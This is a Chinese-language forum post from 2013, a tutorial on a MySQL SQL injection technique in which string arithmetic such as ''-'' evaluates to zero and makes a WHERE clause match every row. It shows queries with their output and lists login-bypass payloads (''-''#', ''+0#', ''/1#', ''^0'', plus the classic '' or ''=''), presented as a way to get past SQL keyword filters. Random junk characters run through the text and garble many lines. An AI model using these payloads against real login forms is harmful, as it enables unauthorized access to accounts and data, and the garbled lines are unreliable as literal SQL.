找回密码
 立即注册
查看: 2621|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
5 f6 L  Q* n3 ~1 I% G2 s7 e- k有以下表结构:
8 g) d; R6 b9 [$ ^9 Z, S" A7 S' f/ o. i5 A
mysql> desc admin;( O: t9 z/ n& M+ Q1 H3 b/ U
+----------+--------------+------+-----+---------+----------------+- c6 n6 a* l. l- a6 R
| Field    | Type         | Null | Key | Default | Extra          |
2 R0 `+ p& y: g, h- ]/ V( ~7 h+----------+--------------+------+-----+---------+----------------+0 k, G# _# B1 D8 @% ~6 v7 C6 h
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
9 u* ~0 q4 l1 K9 T| name     | char(32)     | NO   | UNI | NULL    |                |& F$ Q- e* `- T% {$ ~* }2 L' ?5 B' \
| password | char(32)     | NO   | UNI | NULL    |                |
0 z. K8 \" Y  D: a1 o+----------+--------------+------+-----+---------+----------------+
' c" w# ^; @7 G  A& w( _' M2 D3 rows in set (0.00 sec)
4 [# d; F+ J/ ]4 u5 u- j执行select * from admin;,成功返回所有记录内容。
5 |' r8 E3 x: f3 s* I$ R* o/ O
$ U2 Q, x2 i2 }0 S) j6 R$ k0 c
* }, o9 z. O- Q" _+----+--------+----------------------------------+
& T1 ^1 i) V! h- I| id | name   | password                         |* V! h5 p' n- d' f$ n
+----+--------+----------------------------------+
5 y) v0 W2 i  v, l& w/ h8 w, F|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
7 y, d% H9 h  `% m( G6 Y; v1 s|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
; a% D6 U, m% r+ {5 r5 k$ z8 ]|  4 | n00b   | ff80e8508d39047460921792273533a4 |
. p" W. H" t3 a( K+----+--------+----------------------------------+( F5 b9 p- d/ M. U4 g
3 rows in set (0.00 sec)
- t& U% ^2 H7 e% G' T执行select * from admin where name=”;,没有匹配到任何记录。 . X& F" D' `5 a* v# m) p5 G2 Q
+ B9 F! ^9 k: d* a; t, O+ f
mysql> select * from admin where name = '';1 ?# _0 {: l5 G: s0 p
Empty set (0.00 sec)7 {6 C+ D( b3 Y
那么我们来执行select * from admin where name = ”-”;
, i6 q6 t7 Q" S% N
3 u; s4 _' V3 x  v# E, d, ?( B5 N8 {% v3 Y8 T; p2 q5 E0 _  d0 h
+----+--------+----------------------------------+  D  I. A7 i' s+ |. e! e
| id | name   | password                         |
4 x3 N9 P( k0 S+----+--------+----------------------------------+
: I8 {+ C/ a$ x( l4 H& x  Q|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
% K% C2 K2 s2 V& d5 b7 l2 M( [|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |3 r# j. ~( \" ^: u
|  4 | n00b   | ff80e8508d39047460921792273533a4 |2 [* ^, x# j8 {' ?9 r! n, K
+----+--------+----------------------------------+
4 e$ a' ]  {/ ~3 {5 O, L+ C3 rows in set, 3 warnings (0.00 sec)4 _+ @$ U3 Y& T7 P6 c9 \" E
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 2 T/ V1 Z/ G9 r8 S
: X+ Z" u/ p1 p% z  Z
mysql> show warnings;
$ o: w  s# a! X6 [+---------+------+------------------------------------------, T, L$ `  p* J! F# N
| Level   | Code | Message" M, M4 ]* [" _. V6 u9 a( }4 T: l+ F
+---------+------+------------------------------------------& B' M* z6 p0 b* D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin& J" ]' L" s) u
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s; o* {0 \# G7 c6 `( u5 }
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
- [$ {, m* d- B+---------+------+------------------------------------------5 {/ y$ {, {% _1 b
3 rows in set (0.00 sec): S( N3 B5 z) U8 |
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 9 N; W2 u" V# o& E: b

0 P' h& E" `( u  O( Zmysql> select ''-'';
; Z1 }1 q9 b" c  `/ K, g9 b+-------+
1 U0 V  Q$ n& C, x| ''-'' |  \: T, D- Q( h/ M; X/ f# s5 J& m% A
+-------+
0 a' Y7 V5 P2 h; z|     0 |
* u- f% l1 z- z0 Y/ m: A+-------+
; Z# E& }6 i& h1 row in set (0.00 sec)+ b" m( `# _& V
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: , }6 d) Z; [% K; s- @, r) t

/ Z) I/ L6 D4 l. D, {mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
. W5 o9 R1 ]8 g1 X: S+-----------------------------------------------------+
1 d; J: C  F; ?6 K8 p1 M8 H| CAST((select name from admin limit 1,1) as DECIMAL) |5 f" N' w. ?2 L( q/ x7 f+ R
+-----------------------------------------------------+) A$ X* L- A3 b' f2 I' g3 z& A" s
|                                                   0 |! D5 g( x! u2 D
+-----------------------------------------------------+
7 a+ ]6 e. y& ?9 ^& f% @0 w6 V1 row in set, 1 warning (0.00 sec)
1 q' @) @& |% v% @' b因此where语句构成了相等的条件,where 0=”=”,记录被返回。 5 N1 F' ^/ r- g1 F( Y
. L+ P( e! ~. }
SQL注入场景: http://www.sqlzoo.net/hack/
7 {$ b* A2 b! S, b0 C) o  Y0 A4 C, V  p5 m
4 j$ y* H! s0 Z6 r" C$ C: z
% m" X( t7 O  ?2 j5 t8 M' V

, S% |, T5 @3 y. H* Z如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
7 U- ~9 z4 E$ k9 g% |7 q* V) ?
% f% ~: J. s5 `那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 8 [3 `+ c2 L1 n7 b% x$ \7 |6 C# V
/ ?$ i( S, p1 {+ o9 C5 o/ d  z) m
( W* R) O! O9 @/ V, H( r
& ?/ Y9 Y) O. w1 D
/ k  G$ M, I/ G0 ~9 D. Q( C
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 * E1 c7 O8 I& w; f/ O1 S

1 m7 T* q% X5 i( q5 E7 s% H* w2 \   
5 I% w7 ?7 P) n0 F5 c' D& r2 [
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
+ _6 B4 A- r8 z+ q" @) d" b7 k* Y2 Y+ N. b7 c
* v/ m* f' d6 \! J9 o3 O7 c" E
mysql> select ''/1;
7 s/ l$ A- C" n$ \  \$ f) y+------+4 i% c; Z/ `6 K$ @9 x/ m
| ''/1 |# G3 i/ u$ G( T  v8 @+ L
+------+, X7 ~8 F( E4 P7 Z5 S0 j
|    0 |+ T& g. c$ }, c+ U" A/ V
+------+- S1 W' L" F' ^( k
1 row in set (0.00 sec); a! r$ h; e0 A8 T% h# I7 i+ g6 @% f
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
2 p  e1 Y1 ^$ D4 O3 {! [: e4 O, R
; ?% F) v. M4 M% o3 ]4 U& b利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。3 i7 _: I9 z# ]( |/ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表